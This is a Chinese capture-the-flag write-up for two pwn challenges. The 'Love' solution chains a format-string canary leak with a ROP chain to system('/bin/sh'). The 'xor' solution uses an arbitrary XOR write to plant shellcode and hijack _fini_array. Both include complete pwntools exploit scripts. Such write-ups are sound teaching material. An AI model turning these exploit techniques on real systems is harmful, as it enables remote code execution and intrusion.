本次round14只打了一题,(没报零真是太好了),赛后在@摸鱼の猫 师傅的指点下又解决了一题
也许是目录
Love
PS: 做题都能看到Toka,我直接狂喜-ing
👉 点击下载附件
发现main又格式化漏洞,程序开了canary保护
所以思路就是:利用printf改写v4使其等于v5,并且泄露canary
然后进入vuln函数就是一个简单的溢出
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import * from LibcSearcher import * from ctypes import * context.log_level = "debug"
io = remote('node3.anna.nssctf.cn', 28037) libc = ELF('./libc.so.6') elf = ELF('./pwn')
def s(payload: bytes | str) -> None: return io.send(payload)
def sl(payload: bytes | str) -> None: return io.sendline(payload)
def sa(message: str, payload: bytes | str) -> bytes | str: return io.sendafter(message, payload)
def sla(message: str, payload: bytes | str) -> bytes | str: return io.sendlineafter(message, payload) def r(numb = None, timeout: float = 5) -> bytes | str: return io.recv(numb, timeout) def rl() -> bytes | str: return io.recvline() def ru(message, drop: bool = False, timeout: float = 5) -> bytes | str: return io.recvuntil(message, drop=drop, timeout=timeout)
def get_addr() -> int: return u64(ru(b"\x7f")[-6:].ljust(8, b"\x00"))
def get_libc(fn_name: str, fn_addr: int) -> LibcSearcher: return LibcSearcher(fn_name, fn_addr) def i() -> None: return io.interactive()
rdi = 0x4013f3 r() payload = b'%520c%9$n.%15$p' s(payload) res = r().split(b'.') canary = int(res[1], 16) log.info("canary: " + hex(canary)) ru(b'my level\n')
payload = b'a'*0x28 + p64(canary) + b'a'*8 payload += p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40125d) sl(payload) libc_base = get_addr() - libc.sym['puts'] log.info("libc_base: " + hex(libc_base)) ru(b'my level\n')
ret = 0x40101a payload = b'a'*0x28 + p64(canary) + b'a'*8 + p64(ret) payload += p64(rdi) + p64(libc_base + libc.search(b'/bin/sh').__next__()) + p64(libc_base + libc.sym['system']) sl(payload) i()
|
xor
👉 点击下载附件
flag在bss段,判断小于等于0跳出循环,xorByteWithAddress可以与任意地址数据异或,所以给高位异或一个0xFF(变成负数),基本上相当于无限循环(loop)了。
1 2 3 4 5
| flag = 0x600bcc ru(b'addr:') sl(hex(flag+3)[2:]) ru(b'value: ') sl(b'ff')
|
然后找一段rw(readable,writeable)区域写入shellcode
1 2 3 4 5 6 7
| code = flag + 0x14 sc = asm(shellcraft.sh()) for i in range(len(sc)): ru(b'addr:') sl(hex(code+i)[2:]) ru(b'value: ') sl(hex(sc[i])[2:])
|
然后想办法触发shellcode,因为程序没有栈溢出,所以这里我们让程序自己触发。
由于在main结束后会跳转到_final_array储存的地址,这里把储存的地址改成我们写入的shellcode地址,然后再把flag高位异或一个0xff(变成0,也就是说flag变成正数,跳出循环,使main结束)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| ret_addr = 0x600970
ru(b'addr:') sl(hex(ret_addr)[2:]) ru(b'value: ') sl(hex(0x10^0xe0)[2:]) ru(b'addr:') sl(hex(ret_addr+1)[2:]) ru(b'value: ') sl(hex(0x06^0x0b)[2:]) ru(b'addr:') sl(hex(ret_addr+2)[2:]) ru(b'value: ') sl(hex(0x40^0x60)[2:])
ru(b'addr:') sl(hex(flag+3)[2:]) ru(b'value: ') sl(b'ff')
|
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| from pwn import * from LibcSearcher import * from ctypes import * context.log_level = "debug" context.terminal = ["tmux", "splitw", "-h"] context.arch = "amd64" context.os = "linux"
io = process("./pwn") libc = ELF('./libc.so.6') elf = ELF('./pwn')
def s(payload: bytes | str) -> None: return io.send(payload)
def sl(payload: bytes | str) -> None: return io.sendline(payload)
def sa(message: str, payload: bytes | str) -> bytes | str: return io.sendafter(message, payload)
def sla(message: str, payload: bytes | str) -> bytes | str: return io.sendlineafter(message, payload) def r(numb = None, timeout: float = 5) -> bytes | str: return io.recv(numb, timeout) def rl() -> bytes | str: return io.recvline() def ru(message, drop: bool = False, timeout: float = 5) -> bytes | str: return io.recvuntil(message, drop=drop, timeout=timeout)
def get_addr() -> int: return u64(ru(b"\x7f")[-6:].ljust(8, b"\x00"))
def get_libc(fn_name: str, fn_addr: int) -> LibcSearcher: return LibcSearcher(fn_name, fn_addr) def inter() -> None: return io.interactive()
flag = 0x600bcc ru(b'addr:') sl(hex(flag+3)[2:]) ru(b'value: ') sl(b'ff')
code = flag + 0x14 sc = asm(shellcraft.sh()) for i in range(len(sc)): ru(b'addr:') sl(hex(code+i)[2:]) ru(b'value: ') sl(hex(sc[i])[2:])
ret_addr = 0x600970
ru(b'addr:') sl(hex(ret_addr)[2:]) ru(b'value: ') sl(hex(0x10^0xe0)[2:]) ru(b'addr:') sl(hex(ret_addr+1)[2:]) ru(b'value: ') sl(hex(0x06^0x0b)[2:]) ru(b'addr:') sl(hex(ret_addr+2)[2:]) ru(b'value: ') sl(hex(0x40^0x60)[2:])
ru(b'addr:') sl(hex(flag+3)[2:]) ru(b'value: ') sl(b'ff')
inter()
|